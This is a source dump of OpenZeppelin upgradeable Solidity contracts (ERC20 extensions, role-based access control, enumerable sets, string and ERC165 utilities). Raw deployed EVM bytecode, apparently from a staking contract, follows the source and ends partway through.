Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20Upgradeable.sol"; import "../../../utils/ContextUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable { function __ERC20Burnable_init() internal initializer { __Context_init_unchained(); __ERC20Burnable_init_unchained(); } function __ERC20Burnable_init_unchained() internal initializer { } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20Upgradeable.sol"; import "../../../security/PausableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable { function __ERC20Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); __ERC20Pausable_init_unchained(); } function __ERC20Pausable_init_unchained() internal initializer { } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063a9958142116100a2578063e449f34111610071578063e449f341146102bf578063e5344cd7146102db578063e5da2436146102f9578063e942204614610315578063f2fde38b1461033157610116565b8063a995814214610237578063b488541914610255578063daefd9c814610271578063e337fb5c146102a357610116565b806362f14029116100e957806362f14029146101a3578063715018a6146101c15780638da5cb5b146101cb578063a120c14f146101e9578063a562bceb1461020757610116565b80630fbf0a931461011b578063150b7a02146101375780631f7678ce146101675780635c975abb14610185575b600080fd5b61013560048036038101906101309190611d34565b61034d565b005b610151600480360381019061014c9190611cb4565b6103bb565b60405161015e9190612036565b60405180910390f35b61016f610426565b60405161017c91906121ba565b60405180910390f35b61018d61042c565b60405161019a9190611fe4565b60405180910390f35b6101ab610443565b6040516101b8919061206c565b60405180910390f35b6101c9610469565b005b6101d36104f1565b6040516101e09190611f69565b60405180910390f35b6101f161051b565b6040516101fe9190612051565b60405180910390f35b610221600480360381019061021c9190611d79565b610541565b60405161022e91906121ba565b60405180910390f35b61023f6106a2565b60405161024c91906121ba565b60405180910390f35b61026f600480360381019061026a9190611d79565b6106a8565b005b61028b60048036038101906102869190611d79565b61072e565b60405161029a93929190611fff565b60405180910390f35b6102bd60048036038101906102b89190611c48565b61079c565b005b6102d960048036038101906102d49190611d34565b610a5b565b005b6102e3610ac9565b6040516102f091906121ba565b60405180910390f35b610313600480360381019061030e9190611d79565b610acf565b005b61032f600480360381019061032a9190611d79565b610b55565b005b61034b60048036038101906103469190611c1f565b610bdb565b005b60005b828290508110156103b6576103a3838383818110610397577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135610cd3565b80806103ae90612378565b915050610350565b505050565b600060026097541415610403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103fa9061217a565b60405180910390fd5b600260978190555063150b7a0260e01b9050600160978190555095945050505050565b60cb5481565b6000606560009054906101000a900460ff16905090565b60ca60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610471610f82565b73ffffffffffffffffffffffffffffffffffffffff1661048f6104f1565b73ffffffffffffffffffffffffffffffffffffffff16146104e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104dc90612127565b60405180910390fd5b6104ef6000610f8a565b565b6000603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60c960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060cf60008481526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a90046affffffffffffffffffffff166affffffffffffffffffffff166affffffffffffffffffffff16815260200160008201600c9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050806000015161062357600091505061069d565b60006201518082602001516affffffffffffffffffffff16426106469190612271565b61065091906121e6565b9050600060cc54905060ce600086815260200190815260200160002060009054906101000a900460ff16156106855760cd5490505b600081836106939190612217565b9050809450505050505b919050565b60cd5481565b6106b0610f82565b73ffffffffffffffffffffffffffffffffffffffff166106ce6104f1565b73ffffffffffffffffffffffffffffffffffffffff1614610724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071b90612127565b60405180910390fd5b8060cc8190555050565b60cf6020528060005260406000206000915090508060000160009054906101000a900460ff16908060000160019054906101000a90046affffffffffffffffffffff169080600001600c9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083565b600060019054906101000a900460ff16806107c2575060008054906101000a900460ff16155b610801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f8906120e7565b60405180910390fd5b60008060019054906101000a900460ff161590508015610851576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b610859611050565b610861611131565b61086961121a565b8460c960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508360ca60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060ca60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634cd88b766040518163ffffffff1660e01b815260040161094490612147565b600060405180830381600087803b15801561095e57600080fd5b505af1158015610972573d6000803e3d6000fd5b505050506202a30060cb81905550670de0b6b3a764000060cc81905550673782dace9d90000060cd8190555060005b83839050811015610a2a57600160ce60008686858181106109eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a2290612378565b9150506109a1565b50600160d0819055508015610a545760008060016101000a81548160ff0219169083151502179055505b5050505050565b60005b82829050811015610ac457610ab1838383818110610aa5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135611303565b8080610abc90612378565b915050610a5e565b505050565b60cc5481565b610ad7610f82565b73ffffffffffffffffffffffffffffffffffffffff16610af56104f1565b73ffffffffffffffffffffffffffffffffffffffff1614610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290612127565b60405180910390fd5b8060cd8190555050565b610b5d610f82565b73ffffffffffffffffffffffffffffffffffffffff16610b7b6104f1565b73ffffffffffffffffffffffffffffffffffffffff1614610bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc890612127565b60405180910390fd5b8060cb8190555050565b610be3610f82565b73ffffffffffffffffffffffffffffffffffffffff16610c016104f1565b73ffffffffffffffffffffffffffffffffffffffff1614610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e90612127565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbe90612087565b60405180910390fd5b610cd081610f8a565b50565b600060cf60008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a90046affffffffffffffffffffff166affffffffffffffffffffff166affffffffffffffffffffff16815260200160008201600c9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050600015158160000151151514610dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de3906120a7565b604051